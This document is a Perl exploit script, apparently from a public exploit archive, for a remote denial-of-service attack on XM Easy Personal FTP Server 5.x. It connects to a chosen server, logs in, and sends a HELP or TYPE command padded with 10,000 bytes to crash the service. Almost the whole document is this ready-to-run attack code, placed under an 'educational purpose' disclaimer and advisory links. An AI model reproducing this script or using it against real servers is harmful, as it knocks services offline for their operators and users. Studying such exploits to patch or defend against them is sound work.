XM Easy Personal FTP Server HELP and TYPE command Remote Denial of Service exploit

[vinodsharma . mimit]

#!usr/bin/perl -w



#######################################################################################

#   XM Easy Personal FTP Server 5.x allows remote attackers to cause a denial 
of service

#   via a "HELP" or "TYPE" command with an overly long argument.

#   Refer:

#                                                                               
                        http://secunia.com/advisories/35271/

#        Original advisory avaiable at: 
http://securitygyan.com/2009/06/09/xm-easy-personal-ftp-server-help-and-type-command-rdos-exploit/

#                 Product link: http://www.dxm2008.com/

#

#$$$$$This was strictly written for educational purpose. Use it at your own 
risk.$$$$$$$$$$

#$$$$$Author will not bare any responsibility for any damages 
watsoever.$$$$$$$$$$$$$$

#

#        Author:    Vinod Sharma

#        Email:     vinodsharma[underscore]mimit[at]gmail.com

#        Blog:       http://securitygyan.com/

#        Date:      09th june, 2009

#        

#

###Thanks all the Security Folks###

########################################################################################



use IO::Socket;



my $server_ip=$ARGV[0];

my $server_port=$ARGV[1];

my $username=$ARGV[2];

my $password=$ARGV[3];

my $command=$ARGV[4];

my $buffer=$command ." " ."\x41" x 10000 ."\r\n";          



if(($#ARGV + 1)!=5)

{

                                print "\nUsage: XM_FTP_Serv_Exploit.pl 
server_ip_address server_port username password command\n";

                                print "\nargument command can have a value HELP 
or TYPE\n";

                                print "\nExample: XM_FTP_Serv_Exploit.pl 
192.16.16.8 21 anonymous 123456 HELP";

                                

                                exit;

}

                                



$socket = new IO::Socket::INET (PeerAddr  =>$server_ip,  PeerPort  => 
$server_port, Proto => 'tcp', )   or die "Couldn't connect to Server\n";



                              

while (1)

{

        

    $socket->recv($recv_data,1024);

    print "RECIEVED: $recv_data"; 

    

        $send_data1 ="USER ".$username."\r\n";

    $socket->send($send_data1);

    $socket->recv($recv_data1,1024);

    print "RECIEVED: $recv_data1"; 

           

           $send_data2 ="PASS ".$password."\r\n";

       $socket->send($send_data2);

           $socket->recv($recv_data2,1024);

        print "RECIEVED: $recv_data2"; 

                

                

       $socket->send($buffer);

           print "\nAttack is send.....................\n";

           $socket->recv($recv_data3,1024);

        print "RECIEVED: $recv_data3"; 

        

                close $socket;

         

  }